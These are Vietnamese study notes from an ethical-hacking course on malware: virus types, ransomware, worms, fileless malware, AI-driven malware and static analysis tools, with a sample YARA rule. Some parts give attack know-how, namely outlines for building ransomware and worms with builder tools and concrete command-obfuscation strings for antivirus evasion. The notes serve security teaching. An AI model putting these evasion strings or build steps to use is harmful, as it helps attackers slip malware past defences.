- **File Extension:** Đổi đuôi tệp để lừa người dùng (Ví dụ: BAD.TXT.VBS hiển thị thành BAD.TXT nếu tính năng ẩn đuôi tệp đang bật).
  - *Cách phòng chống File Extension Viruses:* Người dùng cần tắt tính năng ẩn phần mở rộng tệp. Vào **Control Panel** -> **Appearance and Personalization** -> **Show hidden files and folders** -> Chọn tab **View** -> Bỏ chọn mục **Hide extensions for known file types**.
- **FAT:** Tấn công Bảng phân bổ tệp (File Allocation Table), phá hủy index khiến máy tính không thể định vị tệp.
- **Logic Bomb:** Kích hoạt khi thỏa mãn một điều kiện logic nhất định.
- **Web Scripting:** Lây nhiễm qua các tập lệnh trên trang web.
- **Email viruses:** Phát tán qua tệp đính kèm email.
- **Armored:** Sử dụng các kỹ thuật chống dịch ngược, chống gỡ lỗi, chống phỏng đoán (anti-emulation) để cản trở chuyên gia phân tích.
- **Add-on:** Thêm mã của chúng vào đầu hoặc cuối mã máy chủ mà không thay đổi mã gốc.
- **Intrusive:** Ghi đè hoàn toàn hoặc một phần mã máy chủ bằng mã vi-rút.
- **Direct Action/Transient:** Chỉ hoạt động trong thời gian ngắn khi chương trình đính kèm được thực thi, sau đó đi thẳng vào đĩa để tìm kiếm chương trình lây nhiễm.
- **TSR (Terminate and Stay Resident):** Cư trú vĩnh viễn trong bộ nhớ RAM ngay cả khi chương trình máy chủ đã tắt để chặn các ngắt hệ thống.

Các công cụ tạo virus [Trang 1078 - 1080]: JPS Virus Maker, Virus Maker, Virus-Builder, TeraBIT Virus Maker, Batch Virus Generator.

Virus Hoaxes và Fake AV [Trang 1080 - 1083]:

- **Virus Hoaxes**: Cảnh báo giả mạo, tuyên bố hệ thống có virus không tồn tại để gây hoang mang, lừa người dùng xóa tệp hệ thống hợp lệ. Ví dụ: Google Critical Security Alert Scam.
  - *Hướng dẫn kiểm tra Virus Hoaxes (Cảnh báo giả):*
    * Nếu thông tin được đăng bởi các nhóm tin tức (newsgroups) đáng ngờ, hãy kiểm tra chéo (cross-check) với một nguồn khác.
    * Nếu người đăng tin không phải là chuyên gia hoặc người được biết đến trong cộng đồng, hãy kiểm tra chéo.
    * Nếu một cơ quan chính phủ đăng tin, bài đăng phải có tham chiếu đến quy định liên bang tương ứng.
    * Cách hiệu quả nhất là tra cứu trực tiếp tên của loại virus đang bị nghi ngờ (hoax virus) trên trang web của các nhà cung cấp phần mềm diệt virus.
- **Fake AV**: Phần mềm chống virus giả mạo. Khuyến khích người dùng cài đặt để "diệt virus" nhưng thực chất là tống tiền hoặc lây nhiễm mã độc. Ví dụ: Antivirus 10, AVLab Internet Security, Smart Security, PC Analyzer Tool.

RANSOMWARE (Mã độc tống tiền) [Trang 1084 - 1088]

Hạn chế quyền truy cập vào hệ thống hoặc tệp/thư mục, mã hóa ổ cứng và yêu cầu nạn nhân trả tiền chuộc trực tuyến để gỡ bỏ. Thường lan truyền qua Trojan, tệp đính kèm email, web bị tấn công.

Gia đình ransomware [Trang 1084 - 1086]: Phobos, Xorist, LockBit Black, DarkSide RaaS, Conti, Cerber, Thanos, RansomEXX, NETWALKER, QNAPCrypt, ESXiArgs, CatB, Qilin, Dodge, Akira, Rhysida, Royal, BianLian, NoEscape, BlackCat.

Ví dụ tiêu biểu [Trang 1085 - 1086]:

- **Mallox**: Nhắm vào Windows và máy chủ MS-SQL. Thêm đuôi `.mallox`, `.malox` hoặc `.malloxx` vào tệp mã hóa. Để lại tệp `RECOVERY INFORMATION.txt` và yêu cầu truy cập web qua Tor Browser.
- **STOP/Djvu**: Có hơn 600 biến thể, dùng thuật toán mã hóa RSA. Thêm đuôi `.djvu` (định dạng hợp lệ của AT&T) hoặc các đuôi khác như `.looy`, `.nood`, `.wiaw`, `.wisz`, `.lkfr`, `.lkhy`, `.ldhy`, `.cdxx`, `.cdcc`, v.v. Chiến thuật chính để lây lan là sử dụng email spam chứa tệp đính kèm độc hại và ngụy trang dưới dạng các loại tệp hợp pháp trên các trang web tải torrent vi phạm bản quyền (pirate torrent sites).

Cách lây nhiễm ransomware (4 bước) [Trang 1087 - 1088]:

1. Tạo ransomware bằng công cụ builder (VD: Chaos Ransomware Builder v4).
2. Chuyển malware vào máy nạn nhân qua email hoặc ổ cứng USB, ngụy trang hợp pháp.
3. Nạn nhân tải và mở tệp, ransomware lây nhiễm và mã hóa tệp hệ thống.
4. Hiển thị cửa sổ/hướng dẫn yêu cầu trả tiền chuộc để giải mã.

WORMS (Sâu máy tính) [Trang 1089 - 1092]

Worm là chương trình độc hại độc lập, tự nhân bản, thực thi và lây lan qua kết nối mạng mà không cần sự can thiệp của con người (không cần gắn vào file khác như virus). Nó tiêu thụ tài nguyên máy tính, gây quá tải máy chủ. Ví dụ: SSH-Snake, Raspberry Robin, P2PInfect.

Cách tạo/lây lan worm (6 bước) [Trang 1091]:

1. Tạo worm bằng công cụ như Internet Worm Maker Thing hoặc Batch Worm Generator.

2. Triển khai qua email phishing, website độc hại, network shares, USB. Sử dụng crypters (BitCrypter, H-Crypt) để mã hóa né AV.
3. Người dùng nhấp vào link/tệp, worm lây nhiễm và thực thi payload.
4. Worm tự động quét mạng tìm các thiết bị dễ bị tấn công khác.
5. Worm sao chép chính nó sang thiết bị mới và tiếp tục lây lan.
6. Cài đặt backdoor, thay đổi cài đặt và liên tục đánh cắp dữ liệu.

3. Fileless Malware (Mã độc không tệp) [Trang 1093 - 1107]

Còn gọi là non-malware, lây nhiễm các phần mềm/giao thức hợp lệ sẵn có trong hệ thống. Nó cư trú trên RAM (bộ nhớ dễ bay hơi) và inject mã độc vào các tiến trình đang chạy như Microsoft Word, Flash, PDF Reader, JavaScript, PowerShell, .NET, Macros và WMI.

Lý do dùng fileless malware [Trang 1094 - 1095]:

- Rất khó phát hiện (Stealth): Lợi dụng công cụ hợp pháp nên khó bị chặn.
- Living off the land (LOL): Tận dụng công cụ hệ thống có sẵn, không cần cài đặt thêm custom tools.
- Tin cậy (Trustworthy): Công cụ bảo mật bỏ qua vì tưởng là tiến trình hợp pháp.
- Kiên trì mà không cần file (Persistence without files): Ghi mã vào registry hoặc Windows Task Scheduler để sống sót sau khi khởi động lại máy.
- Đơn giản hóa lây nhiễm (Simplifying infection): Bắt đầu bằng email phishing chạy mã trên memory.
- Tăng tỷ lệ thành công (Increased success): Duy trì cấu hình thấp khi di chuyển ngang (lateral movement).
- Khó phân tích pháp y (Complicating forensic analysis): Bằng chứng/IoC (Indicators of Compromise) biến mất sau khi reboot hệ thống.

Kỹ thuật tấn công / Lây lan [Trang 1095 - 1096]: Phishing emails, Ứng dụng hợp lệ (Legitimate applications), Native apps (WMI, PowerShell), Lateral movement, Malicious websites, Chỉnh sửa Registry (Registry manipulation), Memory code injection (như process hollowing), Reflective DLL injection, Script-based injection, Khai thác file không độc hại (PDF, file shortcut `.lnk`).

Phân loại Fileless Malware dựa trên dấu vết (Evidence left) [Trang 1098]:

- **Type 1 (Không hoạt động file / No File Activity Performed)**: Không bao giờ ghi file xuống disk. Vd: Cài backdoor vào kernel memory hoặc firmware.
- **Type 2 (Hoạt động file gián tiếp / Indirect File Activity)**: Đạt sự hiện diện fileless nhưng dùng file gián tiếp. Vd: Tiêm lệnh PowerShell vào WMI repository.
- **Type 3 (Cần file để vận hành / Required Files to Operate)**: Cần file (như tài liệu chứa macro, Java/Flash) để khởi tạo payload vào RAM, nhưng không thực thi mã độc trực tiếp từ file đó.

Duy trì sự hiện diện bằng Fileless Malware (Maintaining Persistence) [Trang 1105 - 1106]:

- **Qua Windows Registry:** Kẻ tấn công sửa đổi cài đặt ExecutionPolicy thành "unrestricted" hoặc "bypass" để chạy script. Khai thác `mshta.exe` bằng cách tạo nhiều mục registry chứa mã JavaScript được mã hóa, sau đó dùng `wscript.shell` để thực thi thông qua ActivexObject. (Ví dụ: Kovter).
- **Qua WMI:** Lưu trữ các kịch bản độc hại bên trong WMI repository và sử dụng các tiện ích WMI để chạy ngầm, lây lan sang các hệ thống dễ bị tổn thương khác trong mạng.

Các ví dụ Fileless Malware phổ biến [Trang 1107]:

- LODEINFO (Phân tán qua tệp Word lừa đảo, dùng template injection tải backdoor vào bộ nhớ).
- Fileless Revenge RAT, BazarBackdoor, Nodersok, Vaporworm, Sodinokibi Ransomware, Kovter, Poweliks, Dridex, Sorebrect Ransomware, Divergent, DarkWatchman, HeadCrab 2.0, Astaroth.

Điểm vào của Fileless Malware (Point of Entry) [Trang 1097 - 1100]: Fileless malware xâm nhập vào hệ thống mục tiêu thông qua các phương thức khai thác hoặc hoạt động thực thi kịch bản thông thường:

- **Memory Exploits (Khai thác bộ nhớ)** [Trang 1100]: Lợi dụng các lỗ hổng để tiêm và thực thi mã độc trực tiếp vào bộ nhớ tiến trình (RAM) của một tiến trình hệ thống hợp pháp (như WMI, PowerShell, Command.exe, PsExec) mà không để lại dấu vết trên đĩa.
- **Malicious Website (Trang web độc hại)** [Trang 1100 - 1101]: Nạn nhân truy cập vào trang web chứa exploit kit. Website sẽ tự động quét lỗ hổng (như Flash hoặc Java cũ) và gọi các công cụ native của Windows (như PowerShell) để tải/thực thi payload trực tiếp vào bộ nhớ.
- **Phishing Email / Malicious Documents (Email lừa đảo / Tài liệu độc hại)** [Trang 1101]: Kẻ tấn công nhúng các macro độc hại (VBScript hoặc JavaScript) vào tài liệu MS Office (Word, Excel) hoặc tệp PDF. Khi người dùng mở tệp, macro sẽ thực thi và gọi PowerShell để tải payload.

EternalBlue (Khai thác trong bộ nhớ) [Trang 1103]:

- EternalBlue là một dạng khai thác trong bộ nhớ (in-memory exploit), lợi dụng các lỗ hổng trong giao thức chia sẻ tệp của Windows là Server Message Block (SMBv1).
- Giao thức này cho phép kẻ tấn công đọc các dịch vụ truy cập. Sau đó, nhắm mục tiêu vào tệp dịch vụ hệ thống con xác thực cục bộ LSASS (`lsass.exe`) và tiêm mã độc vào đó.
- Tệp `lsass.exe` xử lý xác thực đăng nhập/đăng xuất. Kẻ tấn công khai thác tệp này và sử dụng các công cụ như Mimikatz để trích xuất mật khẩu bản rõ (cleartext) hoặc hàm băm (password hashes) trực tiếp từ bộ nhớ để né tránh bảo mật.

Kỹ thuật Obfuscation Fileless để né AV [Trang 1108 - 1110]: Kẻ tấn công sử dụng các kỹ thuật làm rối (obfuscation) để vượt qua các giải pháp diệt virus truyền thống vì malware không ghi lên đĩa:

- **Chèn ký tự thừa (Inserting Characters):** Chèn dấu phẩy (`,`) và dấu chấm phẩy (`;`) giữa các lệnh và chuỗi để làm các lệnh quen thuộc trở nên phức tạp. Ví dụ: `,;cmd.exe,/c,;,echo;powershell.exe...`
- **Sử dụng dấu ngoặc đơn (Inserting Parentheses):** Gom nhóm và tách các biểu thức phức tạp để đánh lừa AV đánh giá chúng như một lệnh dòng đơn. Ví dụ: `cmd.exe /c ((echo command1) && (echo command2))`
- **Chèn ký tự Caret (Inserting Caret Symbol ^):** Sử dụng dấu mũ `^` (ký tự thoát trong shell) để che giấu lệnh. Ví dụ: `c^m^d.e^x^e`
- **Chèn dấu nháy kép (Inserting Double Quotes):** Parser của command-line coi dấu nháy kép là dấu phân cách đối số. Ví dụ: `Pow""er""Shell -N""oExit...`
- **Dùng biến môi trường tùy chỉnh (Using Custom Environment Variables):** Cắt nhỏ lệnh độc hại thành nhiều chuỗi và gán vào các biến môi trường động tại runtime. Ví dụ: `set a=Power &&set b=Shell && %a:~0,-1%%b%...`
- **Dùng biến môi trường gán sẵn (Using Pre-assigned Environment Variables):** Trích xuất một ký tự cụ thể từ biến hệ thống (như `%CommonProgramFiles%` lấy chữ `P`) để nối chuỗi thực thi. Ví dụ: `%CommonProgramFiles:~3,1%owerShell.exe`

4. AI-Based Malware (Phần mềm độc hại dựa trên AI) [Trang 1111 - 1124]

- **Tự động hóa (Autonomous):** AI malware sử dụng các thuật toán Học máy (ML) để tự động hóa việc thâm nhập, tự động sửa đổi mã, phân tích hành vi của hệ thống bảo mật để né tránh (evasion) với độ chính xác

và tốc độ chưa từng có [Trang 1112].

- **Infiltration (Xâm nhập ban đầu):** Bước đầu tương tự malware truyền thống (qua phishing email, thiết bị cấu hình sai) [Trang 1112].
  - **Establishment (Thiết lập):** Mã độc bảo đảm chỗ đứng trên hệ thống đích bằng cách khai thác lỗ hổng hoặc dùng kỹ thuật lẩn tránh nâng cao.
  - **Learning Phase (Giai đoạn học tập):** Trích xuất dữ liệu về hệ thống đích, mạng, hành vi người dùng và cơ chế bảo mật để tìm ra các rào cản tiềm ẩn.
  - **Adaptation (Thích ứng):** Thay đổi mã nguồn (source code) dựa trên dữ liệu học được để qua mặt phần mềm diệt virus.
  - **Execution (Thực thi):** Thực hiện mục tiêu cốt lõi như đánh cắp dữ liệu, mã hóa, tạo backdoor.
  - **Propagation (Lan truyền):** Xác định và khai thác các hệ thống dễ bị tổn thương khác để lây lan khắp mạng lưới bằng cả kỹ thuật phần mềm và kỹ nghệ xã hội.
  - **Evolution (Tiến hóa):** Mã độc tiến hóa thành một dạng tinh vi hơn bằng cách liên tục thích ứng với mọi thay đổi của hệ thống.
  - **Dấu hiệu nhận biết AI-based Malware (Indicators of AI-based Malware):**
    * Sự gia tăng đột biến, không mong muốn trong truyền tải dữ liệu (Unexpected spikes in data transfer).
    * Các kết nối bên ngoài mới hoặc bất thường (New or unusual external connections).
    * Sử dụng các cổng hoặc giao thức không phổ biến (Use of uncommon ports or protocols).
    * Các giải pháp bảo mật vốn hiệu quả trước đây bỗng nhiên kém hiệu quả (Previously effective security solutions suddenly become less effective).
    * Các ứng dụng đã cài đặt hoạt động bất thường hoặc thực hiện các hành vi không có chủ đích (Installed applications acting erratically).
    * Mô hình tiêu thụ CPU, RAM và băng thông quá mức.
    * Email lừa đảo được cá nhân hóa gửi từ một mạng đã bị kiểm soát (Personalized phishing emails).
    * Thay đổi trái phép đối với cấu hình hệ thống.
    * Tạo và thực thi các tiến trình (processes) bất thường trên hệ thống.
    * Thay đổi quyền hạn trái phép (như tạo tài khoản mới hoặc leo thang đặc quyền).
    * Các thao tác Đọc/Ghi hoặc sửa đổi tệp bất thường.
    * Các module không xác định được tải xuống từ nguồn bên ngoài.
    * Các mã lệnh mờ ám thực thi trong bộ nhớ (memory) mà không lưu ra đĩa (disk).
    * Không gian ổ cứng tăng hoặc giảm đột ngột và bất ngờ.
    * Lưu lượng đi ra (outbound traffic) khổng lồ đến các đích không xác định.
    * Tệp được truy cập vào những thời điểm kỳ lạ (odd times), cho thấy có quy trình tự động.
    * Tỷ lệ cảnh báo Dương tính giả hoặc Âm tính giả của các công cụ bảo mật tăng đột biến.
    * Bắt chước các mô hình giao tiếp (communication patterns) điển hình bên trong tổ chức.
- **Các Thách thức và Rủi ro của AI-based Malware (Challenges of AI-based Malware)** [Trang 1115]:

  - Tự động hóa các nhiệm vụ như trinh sát, chọn mục tiêu, phân phối payload, làm giảm sự can thiệp của con người và làm phức tạp nỗ lực phòng thủ.
  - Phân tích hành vi hệ thống và tự động sửa đổi mã để né tránh các phương pháp phát hiện dựa trên chữ ký.
  - Được thiết kế để nhắm vào nạn nhân cụ thể và giữ trạng thái ẩn mình (undetected) cho đến khi đáp ứng đúng điều kiện.
  - Phân tích lượng dữ liệu khổng lồ trong thời gian ngắn để tìm mục tiêu có lỗ hổng tiềm năng.
  - Học hỏi và điều chỉnh chiến thuật từ các kinh nghiệm thực tế (past experiences).
  - Tự động xác định và khai thác các lỗ hổng thời gian thực để lây lan khắp mạng lưới.
  - Phát triển các payload tùy chỉnh theo từng mục tiêu hoặc môi trường.
  - Sử dụng đa hình (polymorphism), xáo trộn (obfuscation), nén mã và mã hóa để xâm nhập ẩn danh.
- **Xử lý ngôn ngữ tự nhiên (NLP)** [Trang 1118 - 1119]:
  - *Sophisticated phishing*: Tự động tạo email giả mạo tinh vi, bắt chước giọng văn và phong cách của các tổ chức hợp pháp.
  - *Context-aware malware*: Nhận diện tệp tài chính/dữ liệu cá nhân dựa trên ngữ cảnh thay vì chỉ dựa vào đuôi tệp.
  - *Automated social engineering*: Sử dụng chatbot AI để tương tác, lừa nạn nhân cung cấp mật khẩu.
  - *Sentiment analysis (Phân tích cảm xúc)*: Đánh giá các bài đăng mạng xã hội để nhắm mục tiêu (targeting) những cá nhân đang gặp rắc rối/tức giận với công nghệ.
  - *Evasion & C2*: Làm cho malware hiểu lệnh của chuyên gia bảo mật để ngắt hoạt động, hoặc dùng ngôn ngữ tự nhiên cho kết nối C&C để trà trộn vào lưu lượng mạng.
- **GANs (Generative Adversarial Networks)** [Trang 1117]: Mạng đối nghịch tạo sinh được sử dụng để liên tục tạo ra các biến thể mã độc (fake samples) mới, làm mù các mô hình phát hiện bằng chữ ký. Có thể kết hợp Học tăng cường (Reinforcement Learning) để làm đột biến malware.
  - *Các kịch bản phát triển/huấn luyện AI Malware:*
    * Huấn luyện mô hình GAN (Tạo mã độc giả): `def train_gan_models(data, epochs_gan=200, epochs_wgan=500, epochs_wgan_gp=500)`
    * Tạo mẫu giả (fake samples): `def generate_fake_samples(generator_model, num_samples=32)`
    * Học tăng cường (Reinforcement Learning) để đột biến file mã độc: Đánh giá file mã độc bằng lệnh `python classifier.py -d /path/to/directory/with/malware/files` và tiến hành đột biến bằng lệnh `python mutate.py -d /path/to/directory/with/malware/files`.

Ví dụ / Mô hình AI Malware [Trang 1120 - 1123]:

- **FakeGPT**: Chiến dịch mã độc phân phát một Chrome extension giả mạo ChatGPT qua quảng cáo lừa đảo (malvertising). Khi cài đặt, nó dùng Meta-Graph API đánh cắp tài khoản Facebook, tạo cửa sau và chiếm đoạt tài khoản quảng cáo trả phí (Facebook Ads).
- **WormGPT**: Chatbot dựa trên mô hình LLM mã nguồn mở GPT-J. Được huấn luyện trên dữ liệu liên quan đến malware, giúp kẻ tấn công tạo email BEC (Business Email Compromise) có ngữ pháp hoàn hảo để lừa đảo.
- **FraudGPT**: Công cụ AI độc hại chuyên tạo nội dung lừa đảo, code mã độc, phát triển các trang web giả mạo và tìm kiếm lỗ hổng. Được bán trên Dark Web và Telegram.

- **BlackMamba**: Malware đa hình (polymorphic) tận dụng LLM để tạo keylogger biến đổi liên tục, làm rối mã và mã hóa kênh C2. Đánh cắp thao tác phím và gửi từng mảnh dữ liệu nhỏ về máy chủ.
- *(Nguồn bổ sung - Trang 1124)* **AI-Generated Videos**: Dùng công cụ tạo video AI (Synthesia, D-ID) để tạo các video hướng dẫn bẻ khóa phần mềm giả mạo trên YouTube, dụ nạn nhân tải stealer malware như Vidar, RedLine.

5. Malware Analysis (Phân tích mã độc) [Trang 1126 - 1172]

- **Sheep Dip (Nhúng cừu)** [Trang 1126 - 1127]: Là quá trình cách ly và phân tích các tệp, tin nhắn đáng ngờ trên một máy tính chuyên dụng (isolated). Các công cụ giám sát cổng, mạng, tiến trình, driver, registry sẽ được chạy kết hợp với các hệ thống cảm biến diệt virus (Antivirus Sensor Systems) để kiểm tra luồng.
- **Các câu hỏi nghiệp vụ phổ biến nhất mà phân tích mã độc giải đáp** [Trang 1128 - 1129]:
  - Ý định của mã độc là gì? Làm thế nào nó lọt qua được hệ thống?
  - Tác động của nó đối với doanh nghiệp là gì? Kẻ tấn công là ai và trình độ của chúng ra sao?
  - Hệ thống hoặc dữ liệu nào đang gặp rủi ro hoặc đã bị xâm phạm? Hệ thống đã bị nhiễm trong bao lâu?
  - Các biện pháp phòng ngừa và những hàm ý tài chính của cuộc tấn công là gì? Hành động pháp lý nào có thể được thực hiện?
  - *Các câu hỏi kinh doanh phổ biến khác:*
    * Tác nhân (perpetrators) là ai, và trình độ của chúng giỏi đến mức nào?
    * Tổn thất cụ thể là gì (What are the losses)?
    * Phương tiện/đường dẫn lây nhiễm của malware là gì (medium of the malware)?
    * Các biện pháp phòng ngừa (preventive measures) là gì?
- **Hướng dẫn và Nguyên tắc Phân tích Mã độc** [Trang 1129]:
  - Tập trung vào các tính năng cốt lõi thay vì cố gắng hiểu từng chi tiết nhỏ. Thử nghiệm nhiều công cụ và phương pháp khác nhau.
  - Nhận diện, hiểu và đánh bại các kỹ thuật chống phân tích (anti-analysis/evasion) của mã độc.
  - Luôn thực hiện phân tích trong một môi trường cách ly, được kiểm soát chặt chẽ (như máy ảo hoặc phòng lab chuyên dụng).
  - Nhận thức về các vấn đề pháp lý (quyền riêng tư, quy định xử lý dữ liệu nhạy cảm).
  - Đảm bảo quá trình phân tích không đánh động tác giả mã độc (ngăn chặn mã độc giao tiếp với máy chủ C2 bên ngoài trừ khi được giám sát chặt chẽ).
  - Ghi chép lại tài liệu mọi bước (công cụ sử dụng, quan sát, kết luận).
- **Định nghĩa Phân tích tĩnh (Static Malware Analysis):** Việc phân tích mã nhị phân/thực thi mà không chạy chương trình giúp thu thập thông tin về chức năng của mã độc, các chữ ký mạng, kỹ thuật đóng gói exploit và các thư viện phụ thuộc (dependencies).
- **Định nghĩa Phân tích động (Dynamic Malware Analysis):** Hay còn gọi là phân tích hành vi. Nó tiết lộ các thông tin như tên miền (domain names), vị trí đường dẫn tệp, các khóa registry được tạo, địa chỉ IP, các tệp bổ sung, tệp cài đặt, DLL và các tệp liên kết được đặt trên hệ thống hoặc mạng.

Quy trình phân tích Malware (Chuẩn bị Testbed) [Trang 1131-1133]: Vì việc phân tích mã độc trên môi trường production là cực kỳ nguy hiểm, chuyên gia cần lập môi trường cách ly (testbed) theo các bước:

1. Cấp phát một hệ thống vật lý chuyên dụng cho Lab phân tích.
2. Cài đặt phần mềm Máy ảo (VMware, Hyper-V, v.v.).
3. Cài đặt HĐH khách (Guest OS) lên Máy ảo.
4. Cách ly mạng (Đảm bảo card NIC ở chế độ "host only").
5. Mô phỏng các dịch vụ internet (dùng các công cụ như INetSim, NetSim).
6. Vô hiệu hóa "shared folders" và "guest isolation" để tránh rò rỉ mã độc ra host thật.
7. Cài đặt các công cụ phân tích malware.
8. Tạo mã băm (hash value) của HĐH và các công cụ để làm baseline (chuẩn cơ sở) cho bước phân tích tính toàn vẹn.
9. Sao chép malware vào Guest OS để bắt đầu phân tích.

- **Các công cụ hỗ trợ quá trình phân tích Malware (Supporting Tools for Malware Analysis)** [Trang 1132-1133]:
  - Virtual Machines Tools (Máy ảo): VirtualBox, VMware Workstation Pro, Microsoft Hyper-V, Parallels Desktop Pro, Boot Camp.
  - Screen Capture and Recording Tools (Chụp và quay màn hình): Snagit, TechSmith Capture, Camtasia, Ezvid.
  - Network and Internet Simulation Tools (Mô phỏng mạng/Internet): NetSim Professional, ns-3, Riverbed Modeler, GNS3.
  - OS Backup and Imaging Tools (Sao lưu HĐH): Genie Backup Manager Pro, Macrium Reflect Server, R-Drive Image, O&O DiskImage 18 Server.

Phân tích tĩnh (Static Malware Analysis) [Trang 1134]

Là kỹ thuật phân tích mã nhị phân/thực thi mà không chạy (without executing) chương trình.

- **Code analysis**: Kiểm tra tệp thực thi.
- **File fingerprinting (Dấu vân tay tệp)** [Trang 1136]: Tính toán giá trị băm. Công cụ: HashMyFiles, `sha256sum`, MD5sums, Hash Tool.
- **Quét local/online (Local and online scanning)** [Trang 1138 - 1139]: Công cụ: VirusTotal, Hybrid Analysis, Any.Run, JOESandbox Cloud, Jotti, Valkyrie Sandbox.
- **Tìm chuỗi (Strings search)** [Trang 1140 - 1141]: Trích xuất văn bản nhúng (URL, IP, đường dẫn registry/PowerShell). Công cụ: BinText, FLOSS, `strings`, FileSeek, Free EXE DLL Resource Extract, Hex Workshop.
- **Xác định packing/obfuscation** [Trang 1142 - 1144]: Tìm dấu hiệu nén/mã hóa. Công cụ: PEiD, Detect It Easy (DIE), Macro_Pack, UPX, ASPack, VMprotect, ps2-packer.
- **Tìm PE (Portable Executable)** [Trang 1145 - 1146]: Kiểm tra định dạng `.EXE` của Windows (phân tích metadata, các phần `.text`, `.rdata`, `.data`, `.rsrc`). Công cụ: PE Explorer, pescan, Resource Hacker.
  - *(Chi tiết về các trường trong .PE)*:
    * `.text`: Chứa các lệnh (instructions) và mã chương trình mà CPU sẽ thực thi.
    * `.rdata`: Chứa thông tin nhập/xuất (import and export) cũng như các dữ liệu chỉ đọc (read-only data) khác được chương trình sử dụng.

    * `.data`: Chứa dữ liệu toàn cục (global data) của chương trình mà hệ thống có thể truy cập từ bất cứ đâu.
    * `.rsrc`: Chứa các tài nguyên được tệp thực thi sử dụng như biểu tượng (icons), hình ảnh, menu và chuỗi văn bản hỗ trợ đa ngôn ngữ.

- **Xác định phụ thuộc tệp (File dependencies)** [Trang 1147 - 1148]: Tìm các DLL thư viện tĩnh/động. Công cụ: Dependency Walker, Dependency-check, DependencyFinder, RetireJS.
  - **Sáu thư viện động tiêu chuẩn của Windows thường gặp ở malware [Trang 1148]:**
    * `Kernel32.dll`: Gọi tới hệ thống cốt lõi và cung cấp cho memory.
    * `Advapi32.dll`: Cung cấp truy cập đến thành phần cốt lõi của Windows như Service Manager/Registry.
    * `User32.dll`: Chứa GUI, cấp phím phản hồi/di chuột.
    * `Gdi32.dll`: Xem đồ họa/văn bản.
    * `Ntdll.dll`: Giao diện API, ẩn giấu cho các hoạt động của Kernel.
    * `WSock32.dll`: Các DLL mạng hỗ trợ kết nối mạng hoặc thực hiện các tác vụ liên quan đến mạng.
    * `Ws2_32.dll`: Call hỗ trợ API Mạng cho kết nối internet.
    * `Wininet.dll`: Hỗ trợ các chức năng mạng cấp cao (higher-level networking functions).
- **Disassembly** [Trang 1149 - 1150]: Dịch ngược mã máy sang hợp ngữ. Công cụ: IDA Pro, Ghidra, OllyDbg, x64dbg, Radare2, WinDbg.
- **Phân tích ELF (Linux)** [Trang 1151]: Phân tích tệp thực thi của Linux. Công cụ: `readelf -s` (tìm symbol), `readelf -l` (tìm header), `readelf -h` (tìm file header).
  - *(Phân tích ELF Linux nâng cao)*: Lệnh `readelf -l` (Hiển thị program headers) giúp xác định các segment `PT_LOAD`. Cờ `RE` biểu thị "read and execute" (đọc và thực thi), trong khi `RW` biểu thị "read and write" (đọc và ghi).
- **Phân tích Mach-O (macOS/iOS)** [Trang 1156 - 1158]: Phân tích tệp thực thi Apple (các phần `_PAGEZERO`, `_TEXT`, `_DATA`, `_OBJC`). Công cụ: `lief` (script Python), `otool` (`otool -L`, `otool -oV`, `otool -tV`), Hopper Disassembler.
  - **Sử dụng Lief (script Python) và otool [Trang 1157 - 1158]:**
    * `import lief` $\backslash rightarrow$ `binary = lief.parse("filename")` $\backslash rightarrow$ `print(binary)` $\backslash rightarrow$ `for section in binary.sections: print(section.name)` (Python script liệt kê các sections của mã độc).
    * `otool -L malware_name` (Liệt kê thư viện hoặc modules dùng bởi malware).
    * `otool -oV malware_name` (Hiển thị các classes, methods và metadata bằng Obj-C của malware).
    * `otool -tV malware_name` (Lắp ráp lại phần text section ở Mach-O, có thể để lộ hành vi của mã độc).
- **Phân tích tài liệu Office (OLE2)** [Trang 1160 - 1164]: Phân tích tệp Word/Excel chứa macro (VBA). Công cụ: bộ `oletools`.
  - Dùng `python3 oleid.py` để kiểm tra rủi ro.
  - Dùng `python3 oledump.py` tìm stream chứa macro và dump code (`-s <stream>`).
  - Dùng `python3 olevba.py` để trích xuất tự động keyword đáng ngờ và Indicators of Compromise (IoCs).

- **Phân tích PDF độc hại** [Trang 1165 - 1168]:
  - Dùng `python3 pdfid.py` để tìm các keyword độc hại (`/JS`, `/JavaScript`, `/OpenAction`).
  - Dùng `PDFStreamDumper` để xem cấu trúc đối tượng, dump mã nguồn JavaScript và dùng tính năng `Exploits_Scan` để tìm mã CVE đã biết.
- **Dùng YARA để nhận diện mẫu mã độc** [Trang 1170 - 1172]: Viết các quy tắc (rules) chứa tiêu đề, metadata, chuỗi string hex/regex và conditions để quét diện rộng. Lệnh: `yara <path_to_rulefile.yar> <path_to_suspicious_file>`. - **Cấu trúc của một quy tắc YARA (Structure of YARA rules):**
  - **Rule Header:** Bao gồm tên của quy tắc và các thẻ (tags) tùy chọn.
  - **Metadata (meta):** Là phần tùy chọn, chứa các cặp key-value cung cấp thông tin bổ sung (ví dụ: author, description, date, threat_level).
  - **String (strings):** Định nghĩa các chuỗi cần tìm kiếm trong tệp. Chuỗi có thể là văn bản (text), số hệ thập lục phân (hexadecimal) hoặc biểu thức chính quy (regex).
  - **Condition (condition):** Định nghĩa logic (Toán tử boolean: and, or, not) phải được thỏa mãn để quy tắc khớp với tệp (ví dụ: `$a or $b or $c`).
  - *Cú pháp ví dụ:*

```
rule silent_banker : banker
{
    meta:
        description = "This is just an example"
    strings:
        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}
        $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
    condition:
        $a or $c
}
```

Tóm tắt vùng phân tích tĩnh (Static Analysis Target Areas)

Bảng dưới đây tóm tắt mục tiêu, đối tượng cần tìm và công cụ để thực hiện Static Analysis:

Area (Vùng)	Goal (Mục tiêu)	What to Look For (Những gì cần tìm kiếm)	Tools / Commands (Công cụ / Lệnh)
Code / Binary analysis (Phân tích mã / nhị phân)	Hiểu tệp thực thi là gì và những gì nó có thể làm mà không cần chạy nó.	File type, architecture, compiler hints, stripped symbols, suspicious sections.	`file` (Linux), PE Explorer / CFF Explorer (Windows), Hex Workshop.
File fingerprinting (Dấu vân tay tệp)	Tạo định danh ổn định (IOCs) để theo dõi và tương quan.	MD5/SHA1/SHA256 hashes; So sánh với các mẫu đã biết.	HashMyFiles; `sha256sum` (Linux).
Local & online malware scanning (Quét mã độc local & online)	Phân loại nhanh (triage) bằng cách sử dụng nhiều engine / sandboxes.	Tên nhận diện (Detection names), thẻ hành vi, tên miền liên hệ, tệp bị thả (dropped files).	VirusTotal; Hybrid Analysis.

Area (Vùng)	Goal (Mục tiêu)	What to Look For (Những gì cần tìm kiếm)	Tools / Commands (Công cụ / Lệnh)
